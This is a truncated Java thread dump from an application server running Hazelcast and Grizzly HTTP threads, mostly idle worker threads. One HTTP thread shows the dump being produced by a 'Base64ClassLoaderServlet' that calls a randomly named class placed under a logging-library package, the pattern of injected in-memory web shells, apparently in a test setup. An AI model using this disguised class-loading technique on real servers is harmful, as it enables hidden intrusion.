java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.TcpServer.thread-4" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f29e1ed + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.event-2" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35b41663 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.nervous_wescoff.SlowOperationDetectorThread" #61 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at java.base@11.0.21/java.lang.Thread.sleep(Thread.java:334) + at java.base@11.0.21/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"FelixResolver-4" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-5" #119 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FileSystemWatchService" #133 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@11.0.21/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:316) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI Reaper" #169 [WAITING] on java.lang.ref.ReferenceQueue$Lock@39d23d9 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@11.0.21/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:349) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #8" #159 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-5" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1785653482882" #32 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@343a34dc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1785653482853" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@343a34dc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.generic-operation.thread-2" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0813e5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-7" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #9" #162 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-1(5)" #93 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.21/java.lang.Thread.getAllStackTraces(Thread.java:1653) + at ch.qos.logback.cVwIK.ErrorEaidfHandler.toString(BasicInfoPrinter.java:26) + at java.base@11.0.21/java.lang.String.valueOf(String.java:2951) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1554) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.glassfish.tyrus.servlet.TyrusServletFilter.doFilter(TyrusServletFilter.java:83) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:166) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:372) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:239) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.IO.thread-in-1" #77 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.event-4" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4ea4497f + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"GF Domain XML" #135 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@7b4eb8ed]" #173 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@4c28da99 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@11.0.21/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:558) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.generic-operation.thread-4" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0813e5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.cached.thread-3" #75 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@75067191 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-9" #139 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #5" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.TcpServer.thread-3" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f29e1ed + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.IO.thread-out-2" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.partition-operation.thread-10" #54 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.partition-operation.thread-4" #48 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #142 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.21/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.21/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"RunLevelControllerThread-1785653482882" #33 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@343a34dc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(2)" #97 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6d0d20a6 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at 